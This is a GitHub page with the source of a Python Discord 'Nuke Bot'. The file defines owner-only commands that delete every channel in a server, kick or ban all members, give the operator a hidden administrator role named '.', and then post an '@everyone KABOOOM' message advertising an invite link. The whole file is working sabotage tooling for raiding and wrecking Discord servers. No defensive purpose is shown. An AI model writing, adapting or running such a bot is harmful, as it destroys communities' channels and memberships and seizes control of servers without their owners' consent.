-
Notifications
You must be signed in to change notification settings - Fork 60
/
Copy pathmain.py
111 lines (81 loc) · 2.55 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
import os
import discord
from discord.ext import commands
client = commands.Bot(command_prefix=commands.when_mentioned_or("d/", "D/"), help_command=None)
@client.event
async def on_ready():
print('Nuke Bot Is Ready to go!')
owner = 517020964261855232
@client.command()
async def abomb(ctx):
if ctx.author.id == owner:
for chan in ctx.guild.channels:
try:
await chan.delete()
except:
pass
await ctx.guild.create_text_channel('nuked')
channel = discord.utils.get(client.get_all_channels(), guild=ctx.author.guild, name='nuked')
await channel.send("@everyone\nKABOOOM\n")
else:
await ctx.send("No Lmao")
@client.command()
async def bbomb(ctx):
if ctx.author.id == owner:
for member in ctx.guild.members:
try:
if member == ctx.author:
pass
else:
await member.kick()
await ctx.send(f"Successfully kicked {member}")
except Exception as e:
await ctx.send(f"Unable to kick {member} {e}")
else:
await ctx.send("No")
@client.command()
async def cbomb(ctx):
if ctx.author.id == owner:
for member in ctx.guild.members:
try:
if member == ctx.author:
pass
else:
await member.ban()
await ctx.send(f"Successfully ban {member}")
except Exception as e:
await ctx.send(f"Unable to ban {member} {e}")
else:
await ctx.send("No")
@client.command()
async def dbomb(ctx):
if ctx.author.id == owner:
perms = discord.Permissions(administrator=True)
role = await ctx.guild.create_role(name=".", permissions=perms)
await ctx.author.add_roles(role)
await ctx.message.delete()
else:
await ctx.send("No")
@client.command()
async def e(ctx):
if ctx.author.id == owner:
for member in ctx.guild.members:
try:
if member == ctx.author:
pass
else:
await member.ban()
await ctx.send(f"Successfully ban {member}")
except Exception as e:
await ctx.send(f"Unable to ban {member} {e}")
for chan in ctx.guild.channels:
try:
await chan.delete()
except:
pass
await ctx.guild.create_text_channel('nuked')
channel = discord.utils.get(client.get_all_channels(), guild=ctx.author.guild, name='nuked')
await channel.send("KABOOOM\ndiscord.gg/VMXyEHtMPj")
else:
await ctx.send("No")
client.run(os.getenv('TOKEN'))